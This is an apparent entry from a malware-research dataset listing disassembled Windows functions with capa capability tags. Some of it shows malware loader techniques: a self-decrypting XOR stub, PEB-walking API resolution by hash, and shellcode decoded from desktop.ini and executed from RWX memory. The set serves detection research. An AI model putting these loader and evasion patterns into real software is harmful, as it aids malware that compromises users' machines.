joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4010f5
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
sub esp, 0x20c
lea ebp, [esp - 4]
mov eax, dword [0x411020]
xor eax, ebp
mov dword [ebp + 0x20c], eax
push 0xa0
mov eax, 0x40d7f4
call fcn.00409683
mov eax, dword [ebp + 0x218]
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, ecx
mov dword [ebp - 0x20], ebx
test byte [0x412c54], 1
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x28], eax
jne 0x401162
mov eax, dword [0x41204c]
or dword [0x412c54], 1
mov ecx, 0x41204c
call dword [eax + 0xc]
add eax, 0x10
push 0x40d97d
mov dword [0x412c50], eax
call fcn.00402b25
pop ecx
mov eax, dword [0x412c50]
mov eax, dword [eax - 0xc]
cmp eax, ebx
jne 0x40127b
lea eax, [ebp]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp eax, ebx
jle 0x40127b
lea eax, [ebp]
call fcn.004017d3
push str.RootGenius_
push 0x412c50
call fcn.004017fd
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebx
push dword [0x412c50]
call esi
lea eax, [ebp - 0x18]
push eax
mov edi, str.Data_
call fcn.00401744
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 4], 1
call fcn.00401831
mov eax, dword [eax]
pop ecx
pop ecx
push ebx
push eax
call esi
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
call fcn.00401f7c
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
call fcn.00401f7c
lea eax, [ebp - 0x10]
push eax
mov edi, str.DataApk
call fcn.00401744
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 4], 2
call fcn.00401831
mov eax, dword [eax]
pop ecx
pop ecx
push ebx
push eax
call esi
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
call fcn.00401f7c
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.00401f7c
lea eax, [ebp - 0x10]
push eax
mov edi, str.DataBin
call fcn.00401744
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 4], 3
call fcn.00401831
mov eax, dword [eax]
pop ecx
pop ecx
push ebx
push eax
call esi
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
call fcn.00401f7c
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.00401f7c
mov esi, dword [ebp - 0x1c]
push dword [ebp - 0x28]
push esi
call fcn.00401886
pop ecx
pop ecx
mov dword [ebp - 4], ebx
mov eax, dword [esi]
push 3
push eax
lea eax, [ebp - 0xac]
lea ecx, [ebp - 0xa8]
push eax
mov dword [ebp - 0x20], 1
mov dword [ebp - 0xac], ecx
call fcn.004019d4
push dword [ebp - 0xac]
call dword [sym.imp.dbghelp.dll_MakeSureDirectoryPathExists]
lea eax, [ebp - 0xa8]
cmp dword [ebp - 0xac], eax
je 0x4012d3
push dword [ebp - 0xac]
call fcn.00402cf5
pop ecx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x20c]
xor ecx, ebp
call fcn.004029ef
add ebp, 0x210
leave
ret
Function at 0x4012f8
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ebp + 8]
push esi
push edi
push 0x40fac0
push eax
push dword [0x412c48]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp + 8], eax
cmp edi, esi
jne 0x401331
xor al, al
jmp 0x401382
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, esi
je 0x40132d
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push 0x80
push 2
push esi
mov ebx, eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
push esi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
mov edi, eax
lea eax, [ebp + 8]
push eax
push dword [ebp + 8]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebx
cmp edi, esi
je 0x401380
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebp
ret

Function at 0x401386
Capabilities:
Delete file

Disassembly:
push 8
mov eax, 0x40d8ee
call fcn.00409683
mov eax, dword [0x41204c]
mov ecx, 0x41204c
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
and dword [ebp - 4], 0
push str.zlib1.dll
lea ecx, [ebp - 0x14]
call fcn.004010f5
pop ecx
lea edi, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.00401792
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
call fcn.00401f7c
mov esi, dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, edi
push eax
push 0x82
call fcn.004012f8
pop ecx
mov bl, al
pop ecx
lea eax, [esi - 0x10]
call fcn.00401f7c
mov al, bl
call fcn.00409722
ret

Function at 0x4013f9
Capabilities:
Delete file

Disassembly:
push 0xc
mov eax, 0x40d8c3
call fcn.00409683
mov eax, dword [0x41204c]
mov ecx, 0x41204c
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
and dword [ebp - 4], 0
push str.RootGenius.zip
lea ecx, [ebp - 0x14]
call fcn.004010f5
pop ecx
lea edi, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.00401792
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
call fcn.00401f7c
mov edi, dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push edi
call esi
lea eax, [ebp - 0x10]
push eax
push 0x84
call fcn.004012f8
mov bl, al
pop ecx
pop ecx
test bl, bl
je 0x4014a0
push 1
push ecx
mov ecx, esp
mov dword [ebp - 0x14], esp
push 0x40fc74
call fcn.004010f5
lea eax, [edi - 0x10]
mov byte [ebp - 4], 2
mov dword [ebp - 0x18], esp
mov ebx, esp
call fcn.00401b0b
add eax, 0x10
mov dword [ebx], eax
mov byte [ebp - 4], 0
call fcn.00401fac
add esp, 0xc
push edi
mov bl, al
call esi
lea eax, [edi - 0x10]
call fcn.00401f7c
mov al, bl
call fcn.00409722
ret
Function at 0x4014b0
Capabilities:
Delete file

Disassembly:
push 0x14
mov eax, 0x40d890
call fcn.00409683
mov eax, dword [0x41204c]
mov ecx, 0x41204c
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
and dword [ebp - 4], 0
push str.RootGeniusEx.zip
lea ecx, [ebp - 0x18]
call fcn.004010f5
pop ecx
lea edi, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.00401792
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
call fcn.00401f7c
mov edi, dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push edi
call esi
lea eax, [ebp - 0x14]
push eax
push 0x85
call fcn.004012f8
pop ecx
pop ecx
mov byte [ebp - 0xd], al
test al, al
je 0x40155c
push 0
push ecx
mov ecx, esp
mov dword [ebp - 0x1c], esp
push 0x40fc74
call fcn.004010f5
mov byte [ebp - 4], 2
mov dword [ebp - 0x18], esp
lea eax, [edi - 0x10]
mov dword [ebp - 0x18], esp
call fcn.00401b0b
add eax, 0x10
mov ecx, esp
mov dword [ecx], eax
mov byte [ebp - 4], 0
call fcn.00401fac
add esp, 0xc
push edi
mov byte [ebp - 0xd], al
call esi
lea eax, [edi - 0x10]
call fcn.00401f7c
mov al, byte [ebp - 0xd]
call fcn.00409722
ret

Function at 0x40156d
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
movzx edi, ax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
push 0x40fb28
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
and dword [ebp - 0x10], 0x80000000
and eax, 0x7fffffff
mov ebx, dword [sym.imp.USER32.dll_MessageBoxW]
mov dword [ebp - 0x20], eax
xor esi, esi
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x14], esi
fild qword [ebp - 0x24]
fild qword [ebp - 0x14]
fchs
faddp st(1)
fld qword [0x40fcb0]
fmul st(1), st(0)
fmulp st(1)
fcomp qword [0x40fca8]
fnstsw ax
test ah, 5
jp 0x401607
push 4
mov eax, edi
pop ecx
and eax, 0x3ff
push 0x30
cmp cx, ax
jne 0x4015fa
push 0x40fb30
push 0x40fb38
jmp 0x401604
push str.Warning
push str.C_disk_space_will_cause_the_software_can_not_be_used_
push esi
call ebx
mov byte [ebp - 5], 1
call fcn.00401386
test al, al
jne 0x401619
mov byte [ebp - 5], al
jmp 0x401687
push str.zlib1.dll
lea ecx, [ebp - 0x10]
call fcn.004010f5
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop ecx
push dword [eax]
call esi
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.00401f7c
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004013f9
test al, al
jne 0x401657
mov byte [ebp - 5], al
jmp 0x40167a
push str.RootGenius.dll
lea ecx, [ebp - 0x10]
call fcn.004010f5
pop ecx
push dword [eax]
call esi
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.00401f7c
call fcn.004014b0
cmp byte [ebp - 5], 0
jne 0x4016b0
xor esi, esi
push 4
pop eax
and edi, 0x3ff
push 0x30
cmp ax, di
jne 0x4016a3
push 0x40fbfc
push str.Root
jmp 0x4016ad
push str.Error
push str.Root_Genius_failed_to_initialize_
push esi
call ebx
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x401d7c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401d93
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x401dc8
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x401dc4
cmp edi, eax
jae 0x401dc8
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x401db6
cmp edi, eax
jb 0x401dcc
xor eax, eax
jmp 0x401dd5
movzx eax, word [edi]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret
Function at 0x4029ef
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411020]
jne 0x4029f9
repz ret
jmp fcn.004033dc

Function at 0x4078dc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00403554
and dword [ebp - 4], 0
cmp dword [0x412b60], 0
mov ebx, eax
jne 0x40798d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x407a3e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x407a3e
push eax
call fcn.004034e2
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x412b60], eax
call esi
push eax
call fcn.004034e2
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x412b64], eax
call esi
push eax
call fcn.004034e2
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x412b68], eax
call esi
push eax
call fcn.004034e2
pop ecx
mov dword [0x412b70], eax
test eax, eax
je 0x40798d
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004034e2
pop ecx
mov dword [0x412b6c], eax
mov eax, dword [0x412b6c]
cmp eax, ebx
je 0x4079e5
cmp dword [0x412b70], ebx
je 0x4079e5
push eax
call fcn.0040355d
push dword [0x412b70]
mov esi, eax
call fcn.0040355d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4079e5
test edi, edi
je 0x4079e5
call esi
test eax, eax
je 0x4079dc
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4079dc
test byte [ebp - 0xc], 1
jne 0x4079e5
or dword [ebp + 0x10], 0x200000
jmp 0x407a1e
mov eax, dword [0x412b64]
cmp eax, ebx
je 0x407a1e
push eax
call fcn.0040355d
pop ecx
test eax, eax
je 0x407a1e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x407a1e
mov eax, dword [0x412b68]
cmp eax, ebx
je 0x407a1e
push eax
call fcn.0040355d
pop ecx
test eax, eax
je 0x407a1e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x412b60]
call fcn.0040355d
pop ecx
test eax, eax
je 0x407a3e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x407a40
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1001514
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
push 0x1001170
xor ebx, ebx
push ebx
call dword [sym.imp.msvcrt.dll_setlocale]
mov edi, dword [ebp + 8]
pop ecx
pop ecx
push edi
call fcn.0100231e
cmp eax, ebx
jne 0x1001548
push 0x64
call fcn.01001ca3
xor eax, eax
pop ecx
inc eax
jmp 0x1001730
push esi
push ebx
mov esi, section..data
push esi
add eax, 4
push eax
dec edi
push edi
call fcn.01001fc0
cmp word [0x1004260], bx
movzx eax, ax
jne 0x1001727
cmp eax, ebx
je 0x1001577
test al, 8
je 0x100171b
push 0x100115c
push esi
call fcn.01001e00
test al, al
jne 0x10015a2
call fcn.01001d8b
test eax, eax
jne 0x10015a2
push 0xd2
call fcn.01001ca3
pop ecx
xor eax, eax
inc eax
jmp 0x100172f
cmp word [0x1004360], bx
je 0x10015d3
mov edi, 0x1004360
push edi
call sub.WINSTA.dll_WinStationOpenServerW
cmp eax, ebx
mov dword [0x1004268], eax
jne 0x10015d3
push edi
push 0x6c
call fcn.01001d2c
push ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1001702
push 0x100116c
push esi
call fcn.01001e00
test al, al
jne 0x10015fb
call fcn.01001d7b
cmp word [0x1004360], bx
mov dword [ebp - 4], eax
je 0x1001685
push 0x6b
jmp 0x1001594
xor eax, eax
mov ax, word [0x1004300]
push 4
push eax
call dword [sym.imp.ntdll.dll_iswctype]
test eax, eax
pop ecx
pop ecx
mov esi, 0x1004300
jne 0x1001633
lea eax, [ebp - 4]
push eax
push esi
push dword [0x1004268]
call sub.WINSTA.dll_LogonIdFromWinStationNameW
test al, al
jne 0x10016aa
push esi
push 0x66
jmp 0x1001711
push 0xa
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.ntdll.dll_wcstoul]
mov ecx, dword [ebp - 8]
add esp, 0xc
mov dword [ebp - 4], eax
cmp word [ecx], bx
jne 0x100170e
cmp eax, 0xffffffff
je 0x100170e
push esi
push eax
push dword [0x1004268]
call sub.WINSTA.dll_WinStationNameFromLogonIdW
test al, al
jne 0x100167b
push dword [ebp - 4]
push 0x68
call fcn.01001ca3
jmp 0x1001708
call fcn.01001d7b
cmp dword [ebp - 4], eax
jne 0x10016aa
push 0xffffffffffffffff
push ebx
call dword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
jne 0x100172d
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
push 0x6a
call fcn.01001ca3
pop ecx
pop ecx
jmp 0x10016ff
push esi
push dword [ebp - 4]
push dword [0x1004268]
call fcn.01001428
test eax, eax
je 0x100172d
cmp word [0x1004264], bx
je 0x10016d5
push dword [ebp - 4]
push 0xc8
call fcn.01001b24
pop ecx
pop ecx
push 1
push dword [ebp - 4]
push dword [0x1004268]
call sub.WINSTA.dll_WinStationReset
test al, al
jne 0x100172d
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
push dword [ebp - 4]
push 0x69
call fcn.01001ca3
add esp, 0xc
push ebx
call esi
push eax
call fcn.01001c05
pop ecx
jmp 0x1001599
push esi
push 0x67
call fcn.01001d2c
jmp 0x100159a
push 1
call fcn.010014b9
jmp 0x100159a
push ebx
call fcn.010014b9
xor eax, eax
pop esi
pop edi
pop ebx
leave
ret
Function at 0x1002886
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push dword [ebp + 8]
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.ntdll.dll_wcscpy]
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.ntdll.dll_wcslen]
add esp, 0xc
lea eax, [ebp + eax*2 - 0x100]
dec eax
dec eax
mov cx, word [eax]
cmp cx, 0x5c
je 0x10028c7
cmp cx, 0x2f
jne 0x10028cd
and word [eax], 0
jmp 0x10028b6
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
leave
ret 4

Function at 0x10028e8
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x658
push esi
push dword [edi + 4]
mov esi, dword [sym.imp.ntdll.dll_wcscpy]
lea eax, [ebp - 0x108]
push eax
call esi
push dword [edi + 4]
call dword [sym.imp.ntdll.dll_wcslen]
lea eax, [ebp + eax*2 - 0x108]
push 0x10013f8
push eax
mov dword [ebp - 8], eax
call esi
add esp, 0x14
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x1002950
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 0x12
neg eax
sbb eax, eax
jmp 0x1002a7a
push ebx
mov ebx, dword [sym.imp.ntdll.dll_wcscmp]
lea eax, [ebp - 0x32c]
push 0x10013f4
push eax
call ebx
test eax, eax
pop ecx
pop ecx
je 0x1002a52
lea eax, [ebp - 0x32c]
push 0x10013ec
push eax
call ebx
test eax, eax
pop ecx
pop ecx
je 0x1002a52
lea eax, [ebp - 0x32c]
push eax
call dword [sym.imp.ntdll.dll__wcslwr]
push eax
push dword [ebp - 8]
call esi
mov eax, dword [edi + 0xc]
add esp, 0xc
test eax, eax
je 0x10029b4
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.ntdll.dll_wcscat]
pop ecx
pop ecx
lea eax, [ebp - 0x32c]
push eax
push dword [edi + 8]
call fcn.01002c4f
test eax, eax
je 0x1002a52
cmp dword [edi + 0xc], 0
je 0x1002a2d
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x558]
push eax
lea eax, [ebp - 0x458]
push eax
lea edx, [ebp - 0x108]
call fcn.010027c1
test eax, eax
je 0x1002a2d
test byte [ebp - 0x358], 0x10
je 0x1002a52
lea eax, [ebp - 0x458]
push eax
call fcn.01002886
test eax, eax
je 0x1002a52
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x558]
push eax
lea eax, [ebp - 0x458]
push eax
mov eax, dword [ebp + 8]
call fcn.0100262a
jmp 0x1002a52
lea eax, [ebp - 0x108]
push eax
call fcn.01002886
test eax, eax
je 0x1002a52
lea eax, [ebp - 0x108]
push eax
mov eax, dword [ebp + 0xc]
call fcn.010026fa
mov ebx, eax
test ebx, ebx
jne 0x1002a77
lea eax, [ebp - 0x358]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov ebx, eax
test ebx, ebx
jne 0x1002951
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x1002a77
mov eax, ebx
pop ebx
pop esi
leave
ret 8
Function at 0x1002e6e
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x28
push 0x1001400
call fcn.0100300c
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x1002ea9
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1002ea9
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x1002ec1
cmp eax, 0x20b
je 0x1002eae
mov dword [ebp - 0x1c], edi
jmp 0x1002ed5
cmp dword [ecx + 0x84], 0xe
jbe 0x1002ea9
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x1002ecf
cmp dword [ecx + 0x74], 0xe
jbe 0x1002ea9
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 1
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x10055a0], 0xffffffff
or dword [0x10055a4], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x10042e8]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x10042e4]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x10055a8], eax
call fcn.01003006
cmp dword [0x1004254], edi
jne 0x1002f30
push fcn.01003006
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.01002ff4
push 0x1001124
push 0x1001120
call sub.msvcrt.dll__initterm
mov eax, dword [0x10042e0]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [0x10042dc]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x30], eax
push 0x100111c
push 0x1001118
call sub.msvcrt.dll__initterm
mov eax, dword [ebp - 0x24]
mov ecx, dword [sym.imp.msvcrt.dll___initenv]
mov dword [ecx], eax
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.01001514
add esp, 0x30
mov esi, eax
mov dword [ebp - 0x34], esi
cmp dword [ebp - 0x1c], edi
jne 0x1002fa7
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x1002fdc
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.01003045
ret
Function at 0x40b79d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pushal
xor eax, eax
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov edi, esi
add esi, dword [esi + 0x3c]
mov ecx, dword [esi + 0x78]
add ecx, edi
mov edx, dword [ecx + 0x1c]
push edx
mov edx, dword [ecx + 0x24]
push edx
mov esi, dword [ecx + 0x20]
add esi, edi
cdq
dec edx
lodsd eax, dword [esi]
inc edx
add eax, dword [ebp + 0xc]
push eax
call fcn.0040b703
cmp eax, ebx
jne 0x40b7c2
mov eax, dword [ebp + 0xc]
xchg edx, eax
pop esi
add esi, edx
shl eax, 1
add eax, esi
xor ecx, ecx
movzx ecx, word [eax]
pop edi
shl ecx, 2
add ecx, edx
add ecx, edi
mov eax, dword [ecx]
add eax, edx
mov dword [esp + 0x1c], eax
popal
leave
ret 8

Function at 0x40b7f6
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
pushal
mov esi, dword [ebp + 8]
xor eax, eax
mov eax, dword fs:[eax + 0x30]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x1c]
mov ebx, edx
mov ecx, dword [edx + 8]
jecxz 0x40b824
push dword [edx + 0x20]
push esi
call fcn.0040b745
test eax, eax
je 0x40b854
mov edx, dword [edx]
jmp 0x40b80e
mov ecx, dword [ebp + 0xc]
jecxz 0x40b854
lea eax, [ebp - 0x2c]
lea edx, [ebp - 4]
push esi
push eax
push edx
call fcn.0040b76e
push dword [ebx + 8]
push 0x183679f2
call fcn.0040b79d
xchg ecx, eax
jecxz 0x40b854
lea ebx, [ebp - 8]
push ebx
push edx
push 0
push 0
call ecx
mov ecx, dword [ebx]
mov dword [esp + 0x1c], ecx
popal
leave
ret 8

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x10001150
Capabilities:
Create thread
Get common file path
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x100012b8
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x100013bc
push 0
push 0
push 0x100012b8
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0x10001050
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000122f
mov ecx, dword [ebp - 4]
push ecx
push 0x1ffff
push 1
push 0x100014c0
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov al, byte [0x1000102c]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 0x100014c0
call fcn.10001060
add esp, 0xc
push 0x1000104c
push 0x100013bc
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000122f
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
push 1
push 0x100014c0
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push 0
push 0
push 0
push 0x10001240
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret